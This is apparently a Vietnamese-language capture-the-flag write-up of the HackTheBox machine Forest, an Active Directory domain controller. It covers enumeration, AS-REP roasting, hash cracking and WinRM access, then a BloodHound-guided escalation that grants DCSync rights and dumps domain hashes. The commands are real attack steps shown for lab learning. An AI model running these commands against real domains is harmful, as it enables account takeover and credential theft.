Machine: Forest
dcduc

Machine info

Get started

Recon

nmap

1
sudo nmap -T4 --min-rate 1000 -sC -sV -p- -oN nmap 10.10.10.161
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PORT      STATE SERVICE      VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-24 08:53:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49667/tcp open unknown
49671/tcp open msrpc Microsoft Windows RPC
49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49984/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1m24s, deviation: 0s, median: -1m25s
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-07-24T08:54:35
|_ start_date: 2024-07-24T06:51:07

  • Active Directory (AD) là directory service dành cho Windows network environments. Đó là một cấu trúc phân cấp (hierarchical structure), phân tán (distributed) cho phép quản lý tập trung các tài nguyên của tổ chức, bao gồm users, computers, groups, network devices, file shares, group policies, devices, and trusts.. AD cung cấp các chức năng xác thực và ủy quyền trong Windows domain enviroment.

  • Lưu ý khi ping
    • Nếu ttl=64 → Linux
    • Nếu ttl=128 → Windows

Machine này có vẻ là Windows Server đóng vai trò Domain Controller trong Active Directory với domain là htb.local. Trên máy chủ này chạy các service có thể kể đến như:

  • Kerberos (88) là network authentication protocol sử dụng chủ yếu trong môi trường Windows. Nó sử dụng tickets để xác thực an toàn cho users và services. ← Giao thức này có 1 loại tấn công khá phổ biến là AS-REP Roasting (Đọc trước bài này trước khi tiếp tục).
  • RPC (135): Microsoft Remote Procedure Call (MSRPC) - giao thức giao tiếp giữa các phần mềm (hoặc process - tiến trình) mà một chương trình có thể yêu cầu một dịch vụ từ một chương trình khác nằm trong một máy tính/máy chủ khác hay hiểu đơn giản là phương pháp gọi hàm từ một máy tính ở xa để lấy về kết quả.
  • LDAP (389): Lightweight Directory Access Protocol - giao thức truy cập cơ sở dữ liệu phân tán, được sử dụng để quản lý và truy xuất thông tin trong mạng máy tính. Thường được sử dụng bởi Active Directory.
  • SMB (445): Server Message Block - giao thức mạng dùng để chia sẻ tệp tin và thiết bị trong một mạng. Nó được sử dụng chủ yếu trong các hệ điều hành Windows để cho phép các máy tính khác nhau truy cập và chia sẻ tài nguyên như file, máy in và thư mục. ← Giao thức này từng có 1 CVE rất nổi tiếng là Eternal Blue
  • WinRM (5985): Windows Remote Management được đánh dấu là protocol bởi Microsoft cho phép quản lý từ xa các hệ thống Windows thông qua HTTP(S), tận dụng SOAP trong proccess. Về cơ bản, nó được cung cấp bởi WMI (Windows Management Instrumentation), được biểu diễn dưới dạng HTTP-based interface cho các WMI operation.

Tiếp theo ta cần thử access vào các service này để xem có thể khai thác được thông tin gì từ các service này không.

Enumeration

Follow theo instruction SMB trên Hacktricks ta có thể sử dụng công cụ enum4linux để khai thác một số thông tin thông qua login ẩn danh. Tuy nhiên công cụ trên đã không được update từ khá lâu nên không khuyến khích sử dụng. Thay vào đó ta sẽ sử dụng enum4linux-ng (ng - next generation).

1
./enum4linux -A 10.10.10.161

Ngoài SMB, thì tool này còn recon được các thông tin của các service khác bao gồm LDAP, NetBIOS, RPC.

Vậy thông qua việc scan trên ta thu thập được những thông tin sau:

  • DNS domain: htb.local
  • FQDN (Fully qualified domain name - Tên miền đầy đủ): FOREST.htb.local
  • Máy chủ này là Root Domain Controller của domain này với domain name là htb.local.

Ngoài ra ta còn thu thâp được danh sách user và group.

Những user có username bắt đầu bằng HealthMailboxSM_ ta có thể skip vì đây là các user liên quan đến Microsoft Exchange. Exchange 2013/2016 Monitoring Mailboxes - Microsoft Community Hub.

Tiếp theo ta cần scan thêm bằng các tool khác để tránh bỏ sót thông tin.

rpcclient

Source: 139,445 - Pentesting SMB | HackTricks

1
2
3
rpcclient -U "" -N 10.10.10.161
enumdomusers
enumdomgroups

Thông qua việc đăng nhập ẩn danh, ta cũng thu thập được thông tin các user tương tự như enum4linux-ng.

ldapsearch

Source: 389, 636, 3268, 3269 - Pentesting LDAP | HackTricks

1
2
ldapsearch -H ldap://10.10.10.161 -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -x -b "DC=htb,DC=local" -s sub "(&(objectclass=user))" -H ldap://10.10.10.161 | grep -i samaccountname: | cut -f 2 -d " "
  • -H: xác định URL của máy chủ LDAP muốn kết nối.
  • -x: sử dụng simple authentication (xác thực đơn giản) thay vì SASL (Simple Authentication and Security Layer).
  • -s base: chỉ định scope (phạm vi) của tìm kiếm. base có nghĩa là chỉ tìm kiếm ở cấp gốc (base level) của LDAP tree.
  • -b: chỉ định base DN (Distinguished Name) từ đó bắt đầu tìm kiếm. Ở đây, base DN là một chuỗi rỗng '', có nghĩa là tìm kiếm từ gốc của LDAP tree.
  • "(objectClass=*)": filter cho tìm kiếm. (objectClass=*) là tìm kiếm tất cả các mục có thuộc tính objectClass, tức là tất cả các mục trong LDAP tree.
  • "*": lấy tất cả các thuộc tính của các mục khớp với bộ lọc tìm kiếm.
  • +: lấy tất cả các thuộc tính operational (thuộc tính hoạt động) của các mục khớp với bộ lọc tìm kiếm. Operational attributes là các thuộc tính được sử dụng nội bộ bởi máy chủ LDAP và không phải lúc nào cũng được hiển thị theo mặc định.

Keberos

Như đã đề cập thì Keberos có 1 bug khá nổi tiếng là ASREPRoast. Chi tiết về Kerberos Authentication và AS-REP Roasting được phân tích ở bài viết này.

Ở đây ta sẽ sử dụng 1 tool gắn liền với kĩ thuật này là script GetNPUsers.py của bộ impacket-collection python. Ở bài này vì default nếu không truyền -usersfile thì script trên sẽ sử dụng SPN (Service Principal Name) Scanning để tự động tìm các user. Khi này ta có thể sử dụng thêm -request để yêu cầu ticket-granting tickets (TGTs) cho các tài khoản không bật DONT_REQ_PREAUTH.

1
2
3
4
python3 ~/Documents/Tools/impacket/examples/GetNPUsers.py -dc-ip 10.10.10.161 -format hashcat htb.local/ -request
# or
python3 ~/Documents/Tools/impacket/examples/GetNPUsers.py -dc-ip 10.10.10.161 -usersfile user
s.txt htb.local/

Tiếp theo sử dụng hashcat để crack password của user svc-alfresco, đây là service account của alfresco.

Crack password

Đầu tiên ta cần tìm loại id type hashcat của password này.

1
.\hashcat.exe .\hash.txt # autodetect mode

Ngoài ra có thể tìm thủ công thông qua

1
.\hashcat.exe --example-hashes | findstr krb

Tiến hành crack (Ngoài ra nếu ta truyền thẳng chuỗi hash và wordlist thì hashcat sẽ tự động detect và crack đồng thời)

1
.\hashcat.exe -m 18200 .\hash.txt C:\Users\dcduc\Documents\Tools\Wordlists\rockyou.txt

Tìm được password của user svc-alfrescos3rvice.

WinRM

Khi đã có username và password, thì ta sẽ tận dụng service WinRM đã tìm được khi scan nmap. Ở đây ta sẽ sử dụng tool evil-winrm để thực hiện connect thông qua winrm trên linux.

1
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice' -s '/ps1_scripts/' -e '/exe_files/'

User flag

Privilege Escalation

Source: Active Directory Methodology | HackTricks

Tiếp theo cần thêm thông tin về Active Directory này để thực hiện leo quyền. Tool ở đây sử dụng là BloodHound, ngoài ra có thêm xem thêm các tool khác ở link trên.

BloodHound là 1 single page Java app, được build trên Linkurious, được biên dịch bằng Electron và sử dụng neo4j làm database. BloodHound sử dụng graph theory để biểu diễn hidden và often unintended relationships của Active Directory. Thông qua BloodHound thì attacker có thể xác định được dễ dàng attack path đặc biệt trong các trường hợp phức tạp.

Đầu tiên để khởi chạy BloodHound thì ta cần chạy neo4j để dùng làm database cho BloodHound.

1
sudo neo4j console

Tiếp theo cần chạy SharpHound.exe trên máy đã điều khiển được để extract tất cả thông tin cần thiết cho BloodHound.

Để chuyển file từ máy host vào evil-winrm shell thì ta có thể host 1 python server để có thể chia sẻ file.

Tiếp theo ở máy nạn nhân ta sẽ download file thông qua cách sau.

Tiếp theo chạy file SharpHound để tiến hành extract Active Directory info.

Tiếp theo tiến hành download file zip này về máy host.

Tiến hành chạy BloodHound và upload file zip vừa tải về.

Hiển thị như này là đã upload thành công. Tiếp theo tiến hành tìm node svc-alfresco và đánh dấu owned.

Tiếp theo ta tiến hành truy vấn lần lượt như sau

Từ đây có thể rút ra được kết luận sau:

  • svc-alfresco là member của group Service Accounts
  • Service Accounts là member của group Privileged IT Accounts
  • Privileged IT Accounts là member của Account Operators
  • Account Operators group có GenericAll permission đối với Exchange Windows Permissions
  • Exchange Windows Permissions group có WriteDacl permissions với domain htb.local.

Xâu chuỗi lại ta có thể xác định được như sau:

  • svc-alfresco đồng thời sẽ là member của 3 group bao gồm Service Accounts, Privileged IT AccountsAccount Operators.
  • Follow theo document của Microsoft, ta có thể thấy Account Operators group có khả năng cấp các đặc quyền tạo tài khoản có giới hạn cho người dùng. → Vậy user svc-alfresco hoàn toàn có thể tạo được các user khác ở domain này.
  • Tiếp theo Account OperatorsGenericAll permission đối với Exchange Windows Permissions group. Theo tài liệu thì quyền này đồng nghĩa với user svc-alfresco sẽ có full control của group Exchange Windows Permissions này.
  • Kết hợp với việc Exchange Windows Permission group có WriteDacl permission trên domain htb.local. Theo tài liệu thì với quyền này user có thể chỉnh sửa DACL (Discretionary Access Control List) của domain.
  • Theo BloodHound, với quyền thì ta có thể khai thác thông qua DCSync Attack nhằm replicate domain và dump tất cả password hashes của domain.

Tóm lại ta sẽ có attack path như sau:

  • Đầu tiên, tạo 1 user thuộc domain, vì svc-alfresco là member của group Account Operators nên điều này hoàn toàn khả thi.
  • Tiếp theo ta sẽ thêm user này vào Exchange Windows Permission group. Vì svc-alfrescoGenericAll permissions của Exchange Windows Permissions group nên điều này cũng khả thi.
  • Tiếp theo ta sẽ cấp DcSync privileges cho user vừa tạo. Vì Exchange Windows Permissions group có  WriteDacl permission thuộc htb.local domain nên điều này cũng khả thi.
  • Tiếp theo ta sẽ thực hiện DcSync attack để có thể dump toàn bộ password hashes của tất cả users thuộc domain.
  • Và cuối cùng ta sẽ login thông qua WinRM với hashed password của admin vừa dump được.
1
2
3
4
net user dcduc password /add /domain # Create user on domain
net users /domain # Confirm that user created
net group "Exchange Windows Permissions" /add dcduc # Add the user to "Exchange Windows Permission" group
net user dcduc # Confirm user added to group

Để cấp DCSync privileges cho user dcduc ta sẽ sử dụng Powerview script thuộc bộ PowerSploit (Lưu ý: Sử dụng dev branch).

Tiếp theo ta sẽ sử dụng suggested command từ BloodHound để cấp DCSync privileges cho user.

1
2
3
$pass = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb.local\dcduc', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity dcduc -Rights DCSync

Và cuối cùng ta sử dụng script secretdump.py thuộc collection Impact Python để dump all password hashes.

Cuối cùng sử dụng evil-winrm để login vào Admin account thông qua hash vừa tìm được. (Lưu ý: Ở đây sử dụng -H flag để truyền vào hash string thay vì -p với password)

Powered by Hexo & Theme Keep
Unique Visitor Page View